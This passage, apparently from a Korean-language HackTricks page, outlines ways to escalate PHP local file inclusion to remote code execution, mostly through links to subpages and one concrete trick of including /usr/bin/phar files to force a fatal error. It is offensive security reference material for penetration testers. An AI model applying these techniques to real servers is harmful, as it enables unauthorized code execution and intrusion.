로컬 파일 포함을 찾았고 서버가 Windows에서 실행되고 있다면 RCE를 얻을 수 있을 수도 있습니다:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
phpinfo() (file_uploads = on)를 통한 방법
로컬 파일 포함을 찾았고 file_uploads = on으로 **phpinfo()**를 노출하는 파일이 있다면 RCE를 얻을 수 있습니다:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ 경로 공개를 통한 방법
로컬 파일 포함을 찾았고 임시 파일의 경로를 유출할 수 있지만 서버가 포함될 파일에 PHP 마크가 있는지 확인하는 경우, 다음 경쟁 조건을 사용하여 해당 확인을 우회할 수 있습니다:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
영원한 대기 + 브루트포스를 통한 방법
LFI를 악용하여 임시 파일을 업로드하고 서버에서 PHP 실행을 지연시킨 다음 몇 시간 동안 파일 이름을 브루트포스하여 임시 파일을 찾을 수 있습니다:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Fatal Error로의 방법
/usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
중 하나의 파일을 포함합니다. (동일한 파일을 2번 포함해야 오류가 발생합니다).
이 방법이 어떻게 유용한지는 모르겠지만 가능성이 있습니다.
PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩니다.
참고 자료
- PayloadsAllTheThings\
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
경험 많은 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!
해킹 인사이트
해킹의 스릴과 도전을 다루는 콘텐츠에 참여하세요.
실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.
최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.
**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 구매하세요.
- 독점적인 NFT 컬렉션인 The PEASS Family를 발견하세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
- HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.